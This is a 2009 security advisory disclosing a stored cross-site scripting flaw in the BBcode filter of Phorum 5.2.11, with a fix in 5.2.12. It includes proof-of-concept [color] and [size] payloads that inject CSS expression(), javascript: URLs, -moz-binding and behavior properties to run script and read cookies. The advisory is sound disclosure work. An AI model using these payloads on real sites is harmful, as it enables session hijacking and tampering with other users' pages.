//----- Advisory

Program          : Phorum 5.2.11
Homepage         : http://www.phorum.org/
Discovery        : 2009/07/16
Author Contacted : 2009/07/17
Found by         : crashfr at sysdream dot com
This Advisory    : crashfr at sysdream dot com

//----- Application description


Started in 1998, Phorum was the original PHP and MySQL based Open Source
forum software. Phorum's developers pride themselves on creating message
board software that is designed to meet different needs of different web
sites while not sacrificing performance or features.


//----- Description of vulnerability


Phorum's filtering engine insufficiently filters some BBcode arguments.
Using the bbcode tags [color] and [size] it is possible to execute Javascript
using expression CSS property.


//----- Proof Of Concept


When the user post the following bbcode :

[color=#000000;xss:expression(alert(document.cookie));]Sysdream Testing XSS[/color]
or
[size=20px;xss:expression(alert(document.cookie));]Sysdream Testing XSS[/size]

The application convert it into the follow HTML code :

<span style="color:#000000;xss:expression(alert(document.cookie));">Sysdream Testing XSS</span>
and
<span style="font-size: 20px;xss:expression(alert(document.cookie));">Sysdream Testing XSS</span>

For IE6 you can use this POC:

[color=#000000;background-image:url(javascript:alert('Sysdream_IE6_Alert'));]Sysdream 
Testing IE6[/color]

For IE7:
[color=#000000;xss:expression(alert('Sysdream_IE7_Alert'));]Sysdream Testing 
XSS[/color]

Obviously, the POC doesn't work in IE8 and Firefox.

But, but , but...
Uploading htc (for IE8) or xml (for FF) file on the phorum using the "My 
Files" function in "Control Center", you can use :

POC for FF:
[color=#000000;-moz-binding:url(http://127.0.0.1/phorum/file.php?0,file=9,filename=script.xml#mycode);]Sysdream 
Testing FF[/color]

POC for IE8:
[color=#000000;behavior:url(http://127.0.0.1/phorum/file.php?0,file=8,filename=script.htc);]Sysdream
Testing FF[/color]

//----- Impact


This vulnerability can be used to modify the phorum display, to gather the victim's cookie, etc.


//----- Solution

Upgrade Phorum to 5.2.12


//----- Credits


http://www.sysdream.com
http://www.hackerzvoice.net

crashfr at sysdream dot com


//----- Greetings

Virtualabs